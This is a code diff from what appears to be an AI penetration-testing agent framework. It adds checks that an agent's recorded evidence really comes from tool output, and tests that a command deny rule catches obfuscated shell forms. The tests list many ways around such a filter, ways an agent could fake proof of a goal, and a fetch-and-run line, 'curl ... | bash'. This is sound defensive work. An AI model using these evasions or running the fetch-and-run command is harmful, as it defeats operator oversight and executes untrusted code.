t.Fatalf("grep output: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved", p["provenance"], p["provenance_activity_id"], proved, refusal, grep)
}
scan := e.call("Bash", map[string]string{"command": "redis-cli -h 10.0.0.5 INFO server | head -3"}, "# Server\nredis_version:7.2.4\nredis_mode:standalone_cluster_off")
e.call("Bash", map[string]string{"command": "echo 'redis_mode:standalone_cluster_off' >> notes.txt"}, "")
e.call("Bash", map[string]string{"command": "cat notes.txt"}, "redis_mode:standalone_cluster_off\n")
p, proved, refusal = e.fact("redis_mode:standalone_cluster_off")
if got, _ := p["provenance_activity_id"].(float64); p["provenance"] != factProvenanceRecorded || int64(got) != scan || !proved {
t.Fatalf("older real output: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved", p["provenance"], p["provenance_activity_id"], proved, refusal, scan)
}
}
+60
View File
@@ -0,0 +1,60 @@
package agent
import (
"strconv"
"strings"
"testing"
"github.com/Autumn-27/artex/db"
)
// Every evidence line must be in the one tool result the fact is tied to:
// free text next to one real output line, or a line found only in another
// result, leaves the fact unverified. Blank lines and surrounding whitespace
// do not count, and a short line must be a whole output line.
func TestFactProvenanceRequiresEveryEvidenceLine(t *testing.T) {
const uname = "Linux kali 6.12.0-kali1-amd64 #1 SMP x86_64 GNU/Linux"
refused := []struct {
name string
evidence string
}{
{"free text next to a real line", "HTTP caching headers let clients reuse a response safely.\n" + uname},
{"short free text", uname + "\npwned"},
{"short line inside a longer word", "redis_version:7.2.4\nyes"},
{"lines spread over two results", uname + "\nredis_version:7.2.4"},
}
for _, tc := range refused {
t.Run(tc.name, func(t *testing.T) {
e := newEchoTestIntent(t)
e.call("Bash", map[string]string{"command": "uname -a"}, uname+"\n")
e.call("Bash", map[string]string{"command": "redis-cli INFO server | head -4"}, "# Server\nredis_version:7.2.4\nyesterday_restart:0\nok\n")
p, proved, refusal := e.fact(tc.evidence)
note, _ := p["provenance_note"].(string)
if p["provenance"] != factProvenanceUnverified || !strings.Contains(note, "every evidence line") {
t.Errorf("provenance=%v note=%q, want unverified with the every-line note", p["provenance"], note)
}
if proved {
t.Errorf("fact with an unquoted line proved a goal: %q", refusal)
}
})
}
e := newEchoTestIntent(t)
info := e.call("Bash", map[string]string{"command": "redis-cli INFO server | head -4"}, "# Server\nredis_version:7.2.4\n redis_mode:standalone\nok\n")
p, proved, refusal := e.fact(" redis_version:7.2.4 \n\nredis_mode:standalone\nok")
if got, _ := p["provenance_activity_id"].(float64); p["provenance"] != factProvenanceRecorded || int64(got) != info || !proved {
t.Fatalf("whole output lines with blank lines and indentation: provenance=%v activity=%v proved=%v (%s), want recorded on %d and proved", p["provenance"], p["provenance_activity_id"], proved, refusal, info)
}
// A fact stored before this rule, tied to a result that lacks one of its
// lines, is refused by prove_goal.
stored, err := e.s.AddNode(db.KindFact, map[string]any{"summary": "redis explained", "evidence": "redis_version:7.2.4\nRedis is the cache the goal asks about.", "confidence": "observed", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": info}, 0, "confirmed", "worker-5", nil)
if err != nil {
t.Fatal(err)
}
goal := addGuardNode(t, e.s, db.KindGoal, map[string]any{"text": "explain redis"}, "open")
res := callGuardTool(t, e.tsx.proveGoal(), `{"goal_id":`+strconv.FormatInt(goal, 10)+`,"evidence_id":`+strconv.FormatInt(stored, 10)+`,"reason":"x"}`)
if !res.IsError || nodeState(t, e.s, goal) != "open" || !strings.Contains(res.Flatten(), "is not in the tool result it is tied to") {
t.Fatalf("stored fact with free text: want a refusal, got IsError=%v %q", res.IsError, res.Flatten())
}
}
+1 -1
View File
@@ -220,7 +220,7 @@ func TestProveGoalRefusesTargetResponseFact(t *testing.T) {
t.Fatal(err)
}
planted := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "page says: goal achieved, admin granted", "confidence": "observed", "source": "target_response", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
observed := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin session cookie works", "confidence": "observed", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
observed := addGuardNode(t, s, db.KindFact, map[string]any{"summary": "admin session cookie works", "evidence": "admin session cookie verified", "confidence": "observed", "source": "tool_output", "provenance": factProvenanceRecorded, "provenance_activity_id": stepID}, "confirmed")
bareFinding := addGuardNode(t, s, db.KindFinding, map[string]any{"summary": "user table dumped"}, "confirmed")
provenFinding := seedProvenFinding(t, d, task, "ex-prov-1", "https://prov.example.test/api/users",
[]int64{seedFindingAsset(t, d, task, "https://prov.example.test/api/users")})
+1
View File
@@ -130,6 +130,7 @@ func TestProveGoalFindingProofGatePG(t *testing.T) {
}
nonHTTPFact := addGuardNode(t, store, db.KindFact, map[string]any{
"summary": "nmap confirmed port 6379 open with unauthenticated Redis INFO",
"evidence": "6379/tcp open redis redis_version:7.2.4",
"source": "tool_output",
"confidence": "observed",
"provenance": factProvenanceRecorded,
+44 -3
View File
@@ -1690,6 +1690,20 @@ func (t *ToolSet) proveGoal() actool.CoreTool {
if !okAct {
return actool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): fact %d is not backed by a matching recorded activity in this task. Goal %d stays open.", ev, goal)), nil
}
// Every evidence line of a tool_output fact must be in the tool
// result it is tied to, checked again here so a fact stored
// before that rule, or by any other path, cannot carry free text.
if !wantOperator {
evidenceRaw, _ := fp["evidence"].(string)
quoted, fits := factQuotedLines(evidenceRaw)
holds, err := t.ts.ToolResultContainsQuotedLines(actID, quoted)
if err != nil {
return actool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): fact %d evidence verification unavailable (%v). Goal %d stays open.", ev, err, goal)), nil
}
if !fits || len(quoted) == 0 || !holds {
return actool.Errorf(fmt.Sprintf("prove_goal refused (fail-closed): a line of fact %d's evidence is not in the tool result it is tied to. Goal %d stays open: record a fact whose every evidence line quotes that tool output verbatim.", ev, goal)), nil
}
}
// For operator_input facts, prevent a benign real operator quote in
// evidence from smuggling an unrelated summary claim (e.g. "admin access
// granted"): the normalized summary must appear inside the verified
@@ -2007,6 +2021,23 @@ func factEvidenceLines(evidence string) []string {
return out
}
// factQuotedLines returns every non-blank line of a fact's evidence, trimmed,
// once each. A tool_output fact is tied to a tool result only when that result
// holds all of them (db.EvidenceLinesIn). ok is false when the evidence has
// more than factEvidenceMaxLines such lines.
func factQuotedLines(evidence string) (lines []string, ok bool) {
seen := map[string]bool{}
for raw := range strings.SplitSeq(evidence, "\n") {
line := strings.TrimSpace(raw)
if line == "" || seen[line] {
continue
}
seen[line] = true
lines = append(lines, line)
}
return lines, len(lines) <= factEvidenceMaxLines
}
// factProvenance can identify an activity in this intent. A shared-recorder
// text match cannot establish which task sent an exchange.
func (t *ToolSet) factProvenance(source, evidence string, intent int64) (status string, activityID int64, note string) {
@@ -2025,10 +2056,20 @@ func (t *ToolSet) factProvenance(source, evidence string, intent int64) (status
return factProvenanceOperator, id, ""
}
if source == factSourceToolOutput {
id, _, ok, err := t.ts.ToolResultActivityContainingEvidence(intent, lines)
quoted, fits := factQuotedLines(evidence)
if !fits {
return factProvenanceUnverified, 0, fmt.Sprintf("evidence has more than %d lines; quote only the few output lines that prove the fact, each exactly as the tool printed it", factEvidenceMaxLines)
}
id, _, ok, echoed, incomplete, err := t.ts.ToolResultActivityContainingEvidence(intent, lines, quoted)
if err != nil {
return factProvenanceUnverified, 0, "the recorded tool activity could not be read, so the evidence is unverified"
}
if echoed {
return factProvenanceUnverified, 0, "the quoted tool output also appears in the input of an earlier tool call of this task (a heredoc, echo, printf, or a file written and read back), and text written into a tool's input is not an observation; quote output the tool produced, not text it was given"
}
if incomplete {
return factProvenanceUnverified, 0, "a line of the evidence is not in the recorded tool_result that holds the rest: every evidence line must quote that one tool output verbatim (a line under 12 characters must be a whole output line); put the command and any commentary in detail, not in evidence"
}
if !ok {
return factProvenanceUnverified, 0, "evidence does not quote any line of this intent's recorded tool_result activity; quote the tool output verbatim instead of paraphrasing it"
}
@@ -2156,10 +2197,10 @@ func (t *ToolSet) recordFact() actool.CoreTool {
"⚠️Multiple observations from one exploration must be [consolidated into ONE fact], not split into many; whenever they can be merged into one fact, use one: summary = a one-sentence summary of this conclusion, detail = the related details (may contain multiple concrete items). Example: a fingerprinting intent → one fact {summary:'identified the tech stack and response characteristics of site X', detail:'nginx 1.25 / Vue3 / 200 / title=.. / body_len=..'}, rather than one fact each for status code, fingerprint, and title. One intent usually produces exactly one fact; splitting too finely bloats the graph endlessly.\n"+
"★facts is the only parameter: facts:[{...}] with one item per [mutually distinct] conclusion, usually exactly one item. Returns an ids array, same length and order as facts. An item without intent_id is linked to the intent you are running.\n"+
"⚠️Write only conclusions you [actually saw] in tool output — don't extrapolate. evidence and confidence keep inaccurate conclusions from polluting the graph:\n"+
" · evidence = [one line] of key evidence supporting this conclusion (the command + the one or two most proving output lines), **keep it brief** — details belong in detail; don't paste large output blocks here.\n"+
" · evidence = [one line] of key evidence supporting this conclusion: the one or two most proving output lines, copied verbatim from one tool output, **keep it brief**; the command and other details belong in detail, and large output blocks do not belong here.\n"+
" · confidence = observed (seen directly in output) | inferred (inferred from phenomena).\n"+
" · source = where the content came from: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it) | tool_output (a tool's own result about the target: port states, scanner verdicts, status codes, timings) | third_party_intel (OSINT, CVE databases, public reports) | operator_input (given by the human operator) | inference (your own reasoning; the default when omitted). Any other value is refused.\n"+
" · **evidence is checked against this intent's recorded activity**: quote the output verbatim. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n"+
" · **evidence is checked against this intent's recorded activity**: every evidence line must appear verbatim in the one tool output it quotes (a line under 12 characters must be a whole output line), and text you wrote into a tool's input does not count. Shell and other free-text tool output can relay a target's words and cannot prove a goal by themselves. For operator_input, quote the operator's message to this intent.\n"+
" · **Negative conclusions** (not injectable / port closed / no entry found, etc.) state only \"observation + tentative reading\" — state what you actually saw; whether to abandon the direction is for the planner to decide globally; always provide evidence, mark inferred when the means weren't exhausted or the evidence is weak (including probed only once, looks-like), and mark observed only when truly exhausted and directly seen."+
recordFactContractNote,
recordFactSchema(),
+1 -1
View File
@@ -292,7 +292,7 @@ const workerDefaultTmpl = `You are an "executor" (work agent) of a network-secur
**Write back as you discover** (only what's written into the graph counts; what's in your head/text doesn't; write every result immediately — don't save it for the end and lose it when the step budget runs out). Three kinds of write-back, don't cross the graphs:
- **New asset/resource → insert_assets (asset graph)**: subdomains / services / endpoints / fingerprints / credentials and any asset [itself]. **Only assets are registered here; exploration conclusions/judgments don't go here — use record_fact.**
- **Exploration conclusion/fact → record_fact (exploration graph, pass intent_id)**: use it for all of those. **Consolidate multiple observations into [ONE] fact** (summary = one summarizing sentence + detail = the expansion of the summary, based on the real execution process) — not one fact per attribute; one intent usually produces only one fact, and splitting finely bloats the graph endlessly — **write one fact by default, merging everything mergeable into detail**; only use the facts array to split when there are genuinely [mutually independent, unmergeable] conclusions — that's a rare exception, not the norm. **Write only the delta**: record only what is [newly obtained] this time; don't re-record existing facts in different words (if it merely corroborates an existing one with nothing new, don't record it). **Write only what you actually saw**: give evidence (one line: the command + the most proving one or two output lines — brief; details in detail), and mark confidence (observed = seen directly / inferred = inferred from phenomena). **Declare the source** of every fact: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it), tool_output (a tool's own result about the target: port states, scanner verdicts, status codes and timings you measured), third_party_intel (OSINT, CVE databases, public reports), operator_input (given by the human operator), or inference (your own reasoning; the default).
- **Exploration conclusion/fact → record_fact (exploration graph, pass intent_id)**: use it for all of those. **Consolidate multiple observations into [ONE] fact** (summary = one summarizing sentence + detail = the expansion of the summary, based on the real execution process); not one fact per attribute; one intent usually produces only one fact, and splitting finely bloats the graph endlessly; **write one fact by default, merging everything mergeable into detail**; only use the facts array to split when there are genuinely [mutually independent, unmergeable] conclusions; that's a rare exception, not the norm. **Write only the delta**: record only what is [newly obtained] this time; don't re-record existing facts in different words (if it merely corroborates an existing one with nothing new, don't record it). **Write only what you actually saw**: give evidence (one line: the most proving one or two output lines, copied verbatim from one tool output; brief; the command and other details go in detail), and mark confidence (observed = seen directly / inferred = inferred from phenomena). **Declare the source** of every fact: target_response (content the target itself returned: page bodies, headers, error messages, banners, even when a tool fetched it), tool_output (a tool's own result about the target: port states, scanner verdicts, status codes and timings you measured), third_party_intel (OSINT, CVE databases, public reports), operator_input (given by the human operator), or inference (your own reasoning; the default).
- **Confirmed vulnerability → report_finding (exploration graph, with PoC, pass intent_id)**: **use it only when you actually triggered it this time and obtained reproducible evidence (request/response or command output)**. It is strictly forbidden to treat "version/fingerprint matching a CVE", "the parameter looks injectable", or "inference from external vulnerability databases/changelogs/code diffs" as confirmed, and don't substitute querying a CVE database or comparing patch versions for actually triggering it. Can't trigger it but suspicion remains → record an inferred fact with record_fact (the suspicion point + why it couldn't be triggered) for the planner; don't force it into a finding. Before registering, check list_findings / list_task_findings for an existing finding with the same root cause, endpoint, and parameter: the same defect again means extending that finding's evidence, not registering a duplicate (duplicates burn reviewer trust); a genuinely distinct entry point, parameter, or privilege level remains its own finding per the adversarial gate. When your confidence is not high, also fill report_finding's optional fields: counterevidence = what you tested that did not work; confidence_rationale = why the conclusion holds. Both are optional and never block reporting.
+233 -9
View File
@@ -1888,27 +1888,251 @@ ORDER BY id DESC LIMIT 1`, s.expID, nodeID, lines).Scan(&id, &createdAt)
return id, createdAt, true, nil
}
// evidenceMaxToolResults bounds the tool_result rows one evidence lookup
// examines, newest first.
const evidenceMaxToolResults = 20
// evidenceMaxToolInputs bounds the earlier tool_use rows one evidence lookup
// reads to check that the quoted lines were not the agent's own input. A
// lookup with more candidate rows refuses every result.
const evidenceMaxToolInputs = 500
// ToolResultActivityContainingEvidence returns the newest tool_result activity
// recorded for nodeID in THIS exploration whose summary or detail contains one
// of the given verbatim evidence lines. Restricting to kind='tool_result'
// ensures assistant prose or thinking rows cannot corroborate tool_output facts.
func (s *ExplorationStore) ToolResultActivityContainingEvidence(nodeID int64, lines []string) (id int64, createdAt time.Time, ok bool, err error) {
// of the given verbatim evidence lines, provided that none of the lines it
// contains occurs in the input of a tool call of this exploration recorded
// before it (its own call, with the same tool_use_id, included). Text the
// agent wrote into a tool's input (a heredoc, echo, printf, or a file written
// by one call and read back by another) is not an observation. echoed is true
// when a result contained a line but every such result was refused that way.
// Restricting to kind='tool_result' ensures assistant prose or thinking rows
// cannot corroborate tool_output facts.
//
// The result returned must also hold every quoted line of the evidence
// (EvidenceLinesIn), so free text cannot ride along with one real output line:
// all of them in that one result, the one recorded as provenance. incomplete
// is true when no result qualified and one that was not refused as an echo
// lacked a quoted line.
func (s *ExplorationStore) ToolResultActivityContainingEvidence(nodeID int64, lines, quoted []string) (id int64, createdAt time.Time, ok, echoed, incomplete bool, err error) {
if nodeID <= 0 || len(lines) == 0 {
return 0, time.Time{}, false, nil
return 0, time.Time{}, false, false, false, nil
}
err = s.db.QueryRow(`SELECT id, created_at FROM activity a
type result struct {
id int64
createdAt time.Time
matched []string
}
rows, err := s.db.Query(`SELECT id, created_at,
array_to_string(ARRAY(SELECT line FROM unnest($3::text[]) AS line
WHERE strpos(COALESCE(a.detail,''), line) > 0
OR strpos(COALESCE(a.summary,''), line) > 0), E'\n')
FROM activity a
WHERE exploration_id=$1 AND node_id=$2 AND kind='tool_result'
AND EXISTS (SELECT 1 FROM unnest($3::text[]) AS line
WHERE strpos(COALESCE(a.detail,''), line) > 0
OR strpos(COALESCE(a.summary,''), line) > 0)
ORDER BY id DESC LIMIT 1`, s.expID, nodeID, lines).Scan(&id, &createdAt)
ORDER BY id DESC LIMIT $4`, s.expID, nodeID, lines, evidenceMaxToolResults)
if err != nil {
return 0, time.Time{}, false, false, false, err
}
var results []result
for rows.Next() {
var r result
var matched string
if err := rows.Scan(&r.id, &r.createdAt, &matched); err != nil {
rows.Close()
return 0, time.Time{}, false, false, false, err
}
r.matched = strings.Split(matched, "\n")
results = append(results, r)
}
rows.Close()
if err := rows.Err(); err != nil {
return 0, time.Time{}, false, false, false, err
}
if len(results) == 0 {
return 0, time.Time{}, false, false, false, nil
}
inputs, complete, err := s.toolInputsQuoting(results[0].id, lines)
if err != nil {
return 0, time.Time{}, false, false, false, err
}
if !complete {
return 0, time.Time{}, false, true, false, nil
}
for _, r := range results {
if linesInToolInputs(r.matched, inputs, r.id) {
echoed = true
continue
}
holds, err := s.ToolResultContainsQuotedLines(r.id, quoted)
if err != nil {
return 0, time.Time{}, false, false, false, err
}
if holds {
return r.id, r.createdAt, true, false, false, nil
}
incomplete = true
}
return 0, time.Time{}, false, echoed && !incomplete, incomplete, nil
}
// evidenceWholeLineRunes is the length below which a quoted evidence line must
// equal a whole output line; agent.factEvidenceMinRunes uses the same value.
const evidenceWholeLineRunes = 12
// EvidenceLinesIn reports whether output holds every quoted line. A line is
// compared without its leading and trailing whitespace, and a blank line is
// skipped. A line of evidenceWholeLineRunes runes or more may be any part of
// the output; a shorter line ("ok", "}") must equal a whole output line, also
// trimmed, so a short fragment cannot be found inside a longer word.
func EvidenceLinesIn(output string, quoted []string) bool {
var whole map[string]bool
for _, q := range quoted {
q = strings.TrimSpace(q)
if q == "" {
continue
}
if len([]rune(q)) >= evidenceWholeLineRunes {
if !strings.Contains(output, q) {
return false
}
continue
}
if whole == nil {
whole = map[string]bool{}
for line := range strings.SplitSeq(output, "\n") {
whole[strings.TrimSpace(line)] = true
}
}
if !whole[q] {
return false
}
}
return true
}
// ToolResultContainsQuotedLines reports whether activityID is a tool_result of
// THIS exploration whose detail, or else whose summary, holds every quoted
// line (EvidenceLinesIn).
func (s *ExplorationStore) ToolResultContainsQuotedLines(activityID int64, quoted []string) (bool, error) {
var summary, detail string
err := s.db.QueryRow(`SELECT COALESCE(summary,''), COALESCE(detail,'') FROM activity
WHERE exploration_id=$1 AND id=$2 AND kind='tool_result'`, s.expID, activityID).Scan(&summary, &detail)
if err == sql.ErrNoRows {
return 0, time.Time{}, false, nil
return false, nil
}
if err != nil {
return 0, time.Time{}, false, err
return false, err
}
return id, createdAt, true, nil
return EvidenceLinesIn(detail, quoted) || EvidenceLinesIn(summary, quoted), nil
}
// toolInput is the text of a recorded tool call's input.
type toolInput struct {
id int64
text string
}
// toolInputsQuoting returns the tool_use rows of this exploration recorded
// before activity beforeID that may contain one of lines: the SQL filter keeps
// a row that holds the longest run of each line's characters that JSON never
// escapes, so it cannot drop a row whose decoded input holds the line. Each
// row's text is its decoded JSON strings and its input as written. complete
// is false when more than evidenceMaxToolInputs rows qualify.
func (s *ExplorationStore) toolInputsQuoting(beforeID int64, lines []string) (inputs []toolInput, complete bool, err error) {
anchors := make([]string, len(lines))
for i, line := range lines {
anchors[i] = jsonSafeRun(line)
}
rows, err := s.db.Query(`SELECT id, COALESCE(detail,'') FROM activity a
WHERE exploration_id=$1 AND kind='tool_use' AND id < $2
AND EXISTS (SELECT 1 FROM unnest($3::text[]) AS anchor WHERE strpos(COALESCE(a.detail,''), anchor) > 0)
ORDER BY id DESC LIMIT $4`, s.expID, beforeID, anchors, evidenceMaxToolInputs+1)
if err != nil {
return nil, false, err
}
defer rows.Close()
for rows.Next() {
var in toolInput
var detail string
if err := rows.Scan(&in.id, &detail); err != nil {
return nil, false, err
}
in.text = detail + "\n" + jsonStrings(detail)
inputs = append(inputs, in)
}
if err := rows.Err(); err != nil {
return nil, false, err
}
if len(inputs) > evidenceMaxToolInputs {
return nil, false, nil
}
return inputs, true, nil
}
// linesInToolInputs reports whether one of lines occurs in a tool input
// recorded before activity beforeID.
func linesInToolInputs(lines []string, inputs []toolInput, beforeID int64) bool {
for _, in := range inputs {
if in.id >= beforeID {
continue
}
for _, line := range lines {
if line != "" && strings.Contains(in.text, line) {
return true
}
}
}
return false
}
// jsonSafeRun returns the longest run of s made of printable ASCII that no JSON
// encoder escapes (everything but " \ / < > &). Any JSON text whose decoded
// strings hold s holds that run verbatim.
func jsonSafeRun(s string) string {
best, start := "", -1
for i := 0; i <= len(s); i++ {
safe := i < len(s) && s[i] >= 0x20 && s[i] < 0x7f && !strings.ContainsRune(`"\/<>&`, rune(s[i]))
if safe && start < 0 {
start = i
}
if !safe && start >= 0 {
if i-start > len(best) {
best = s[start:i]
}
start = -1
}
}
return best
}
// jsonStrings returns every string value of a JSON document, one per line, or
// "" when detail is not JSON.
func jsonStrings(detail string) string {
var v any
if json.Unmarshal([]byte(detail), &v) != nil {
return ""
}
var sb strings.Builder
var walk func(any)
walk = func(x any) {
switch t := x.(type) {
case string:
sb.WriteString(t)
sb.WriteByte('\n')
case []any:
for _, e := range t {
walk(e)
}
case map[string]any:
for _, e := range t {
walk(e)
}
}
}
walk(v)
return sb.String()
}
// ActivityMatchesProvenance checks that activityID exists in THIS task's
+1 -1
View File
@@ -25,7 +25,7 @@ x-logging: &default-logging
services:
postgres:
image: postgres:16-alpine
image: postgres:16-alpine@sha256:f2f98726820d0342055351c6e9d36e705f5bfffb3dd53ff556325114b08afb6d
environment:
POSTGRES_USER: ${POSTGRES_USER:-artex}
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:?Please set POSTGRES_PASSWORD in .env}
+698 -146
View File
File diff suppressed because it is too large Load Diff
+26 -6
View File
@@ -158,8 +158,6 @@ func TestArgvDenyAndAskCompoundAndWrapped(t *testing.T) {
{"taskset pid mode", "taskset -p 1234"},
{"chrt pid mode", "chrt -p 1234"},
{"xargs -l echo nmap does not match nmap", "xargs -l echo nmap"},
{"shell unknown option before -c", "bash --unknown-opt -c 'nmap -p 80 x'"},
{"shell opaque option before -c", "bash $OPT -c 'nmap -p 80 x'"},
{"shell script mode with -x", "bash -x nmap"},
{"shell script file", "bash nmap"},
{"shell -- before -c treats -c as script", "bash -- -c 'nmap -p 80 x'"},
@@ -172,9 +170,6 @@ func TestArgvDenyAndAskCompoundAndWrapped(t *testing.T) {
{"parallel :::+ separator", "parallel :::+ nmap"},
{"chroot without command", "chroot /"},
{"busybox list mode", "busybox --list"},
{"eval opaque leading arg", "eval $CMD nmap"},
{"opaque command token", "$CMD -p 80 x"},
{"nested payload depth 4 exceeds limit", `bash -c "sh -c \"bash -c 'eval \\\"nmap -p 80 x\\\"'\""`},
{"unparsable single quote", "nmap 'unterminated"},
{"unparsable subst", "nmap $("},
{"empty command", ""},
@@ -190,6 +185,31 @@ func TestArgvDenyAndAskCompoundAndWrapped(t *testing.T) {
}
}
// A program word, payload or option built at run time, or a payload nested
// past the limit, may run nmap: the rule asks, and a deny rule's ask
// times out to deny.
nmapMayMatch := []struct {
name string
cmd string
}{
{"shell unknown option before -c", "bash --unknown-opt -c 'nmap -p 80 x'"},
{"shell opaque option before -c", "bash $OPT -c 'nmap -p 80 x'"},
{"eval opaque leading arg", "eval $CMD nmap"},
{"opaque command token", "$CMD -p 80 x"},
{"nested payload depth 4 exceeds limit", `bash -c "sh -c \"bash -c 'eval \\\"nmap -p 80 x\\\"'\""`},
}
for _, action := range []string{"deny", "ask"} {
for _, tc := range nmapMayMatch {
t.Run(action+"/maymatch/"+tc.name, func(t *testing.T) {
dec, ok := matchSingleArgvRule(action, `["nmap"]`, "Bash", bashInput(tc.cmd))
if !ok || dec.Action != "ask" || (action == "deny" && dec.TimeoutAction != "deny") {
t.Errorf("%s [\"nmap\"] on %q: got (%+v, %v), want an ask", action, tc.cmd, dec, ok)
}
})
}
}
// Non-Bash tool never matches argv rules.
if dec, ok := matchSingleArgvRule("deny", `["nmap"]`, "shell_open", bashInput("nmap -p 80 x")); ok {
t.Errorf("non-Bash tool matched deny rule: %+v", dec)
@@ -206,7 +226,7 @@ func TestArgvDenyMultiTokenAndPathRules(t *testing.T) {
{"git config path qualified with flag", `["git","config"]`, "/usr/bin/git config --list", true},
{"git config via command", `["git","config"]`, "command git config --list", true},
{"git config via sudo", `["git","config"]`, "sudo git config user.name foo", true},
{"git config opaque subcommand", `["git","config"]`, "git $SUB --list", false},
{"git config opaque subcommand may match", `["git","config"]`, "git $SUB --list", true},
{"git status does not match git config", `["git","config"]`, "git status", false},
{"exact path rule matches exact path", `["/usr/bin/nmap"]`, "/usr/bin/nmap -p 80 x", true},
{"exact path rule does not match bare name", `["/usr/bin/nmap"]`, "nmap -p 80 x", false},
+173
View File
@@ -0,0 +1,173 @@
package intercept
import (
"strings"
"testing"
"time"
"github.com/Autumn-27/artex/db"
)
// Every form below runs nmap, or may run it: a deny or ask argv rule on nmap
// must not answer "no match".
func TestArgvDenyAskRulesFailClosed(t *testing.T) {
matched := []string{
`$'nmap' -sV x.htb`,
`$'\x6emap' -sV x.htb`,
`bash -c $'nmap x.htb'`,
`eval $'nmap x.htb'`,
"bash <<'EOF'\nnmap x.htb\nEOF",
"bash <<EOF\nnmap x.htb\nEOF",
"bash <<-EOF\n\tnmap x.htb\n\tEOF",
`bash <<< 'nmap x.htb'`,
`bash -s <<< 'nmap x.htb'`,
`echo 'nmap x.htb' | sh`,
`echo nmap x.htb | sh -`,
`printf 'nmap x.htb\n' | bash`,
`printf '%s\n' 'nmap x.htb' | bash`,
"cat <<'EOF' | bash\nnmap x.htb\nEOF",
`sh < <(echo nmap x.htb)`,
`bash <(echo nmap x.htb)`,
`source <(echo 'nmap x.htb')`,
`. /dev/stdin <<< 'nmap x.htb'`,
`bash /dev/stdin <<< 'nmap x.htb'`,
`echo 'nmap x.htb' | sudo bash`,
`echo 'nmap x.htb' | (sh)`,
`echo 'nmap x.htb' | { true; sh; }`,
`echo 'nmap x.htb' | bash -c 'sh'`,
`bash -c "bash <<< 'nmap x.htb'"`,
`ash -c 'nmap x.htb'`,
`mksh -c 'nmap x.htb'`,
`rbash -c 'nmap x.htb'`,
`busybox ash -c 'nmap x.htb'`,
`su -c 'nmap x.htb'`,
`su root -c 'nmap x.htb'`,
`su -lc 'nmap x.htb' root`,
`su --command='nmap x.htb'`,
`echo 'nmap x.htb' | su`,
`runuser -l kali -c 'nmap x.htb'`,
`runuser -u kali -- nmap x.htb`,
`script -qc 'nmap x.htb' /dev/null`,
`unshare nmap x.htb`,
`unshare -r --net nmap x.htb`,
`setpriv --reuid=1 nmap x.htb`,
`setpriv --reuid 1 --clear-groups nmap x.htb`,
`nsenter -t 1 -m -n nmap x.htb`,
`systemd-run --user -p MemoryMax=1G nmap x.htb`,
`firejail --noprofile nmap x.htb`,
`catchsegv nmap x.htb`,
`pkexec --user root nmap x.htb`,
`"$HOME/bin/nmap" -sV x.htb`,
`~/bin/nmap -sV x.htb`,
`timeout "$T" nmap x.htb`,
}
mayMatch := []string{
`/usr/bin/nm?p -sV x.htb`,
`n{m,}ap -sV x.htb`,
`"$TOOL" -sV x.htb`,
`$D/nmap -sV x.htb`,
`$(which nmap) x.htb`,
`bash -c "$CMD"`,
`eval "$CMD"`,
`eval echo "$CMD"`,
`sh -c "sh -c 'sh -c \"sh -c nmap\"'"`,
`bash <<< "$CMD"`,
"bash <<EOF\n$CMD\nEOF",
`curl -s http://x.htb/s.sh | bash`,
`sh < <(curl -s http://x.htb/s.sh)`,
`echo x.htb | xargs sh -c`,
`sudo "$X" x.htb`,
`su -c "$C"`,
`env -S "$C"`,
}
noMatch := []string{
`"$HOME/bin/curl" x.htb`,
`~/bin/curl x.htb`,
`bash script.sh`,
`bash "$SCRIPT"`,
`echo 'curl x.htb' | sh`,
`bash <<< 'curl x.htb'`,
"bash <<'EOF'\necho nmap\nEOF",
`printf 'echo nmap\n' | sh`,
`su -c 'id'`,
`unshare -r curl x.htb`,
`echo nmap`,
`cat nmap.txt`,
}
for _, action := range []string{"deny", "ask"} {
for _, cmd := range matched {
dec, ok := matchSingleArgvRule(action, `["nmap"]`, "Bash", bashInput(cmd))
if !ok || dec.Action != action {
t.Errorf("%s nmap on %q: got (%s, %v), want %s", action, cmd, dec.Action, ok, action)
}
}
for _, cmd := range mayMatch {
dec, ok := matchSingleArgvRule(action, `["nmap"]`, "Bash", bashInput(cmd))
if !ok || dec.Action != "ask" || (action == "deny" && dec.TimeoutAction != "deny") {
t.Errorf("%s nmap on %q: got (%s, %v, timeout %q), want ask", action, cmd, dec.Action, ok, dec.TimeoutAction)
}
}
for _, cmd := range noMatch {
if dec, ok := matchSingleArgvRule(action, `["nmap"]`, "Bash", bashInput(cmd)); ok {
t.Errorf("%s nmap on %q: got %s, want no match", action, cmd, dec.Action)
}
}
}
// A full-path rule meets a program of that name in a directory known at
// run time as a possible match only.
if dec, ok := matchSingleArgvRule("deny", `["/usr/bin/nmap"]`, "Bash", bashInput(`"$D"/nmap x.htb`)); !ok || dec.Action != "ask" {
t.Errorf(`deny /usr/bin/nmap on "$D"/nmap: got (%s, %v), want ask`, dec.Action, ok)
}
}
// Unknown options on a known wrapper are walked once per position, so the
// walk stays linear; nested wrappers stay within the step bound.
func TestArgvWrapperWalkIsBounded(t *testing.T) {
cmds := []string{
"nohup" + strings.Repeat(" -x", 48) + " nmap x.htb",
strings.Repeat("nohup -x ", 40) + "nmap x.htb",
"env" + strings.Repeat(" -Z", 48) + " nmap x.htb",
}
for _, cmd := range cmds {
done := make(chan bool, 1)
go func() {
_, ok := matchSingleArgvRule("deny", `["nmap"]`, "Bash", bashInput(cmd))
done <- ok
}()
select {
case ok := <-done:
if !ok {
t.Errorf("deny nmap missed %.40q...", cmd)
}
case <-time.After(5 * time.Second):
t.Fatalf("matching %.40q... took more than 5s", cmd)
}
}
}
// A possible match asks at its rule's place in the order: a later deny still
// decides, a later allow does not.
func TestArgvPossibleMatchOrder(t *testing.T) {
ic := New(nil)
ic.SetRulesForTest([]db.InterceptRule{
{ID: 1, Name: "deny nmap", Enabled: true, Priority: 100, MatchTarget: "tool_input", MatchType: "argv", Pattern: `["nmap"]`, Action: "deny"},
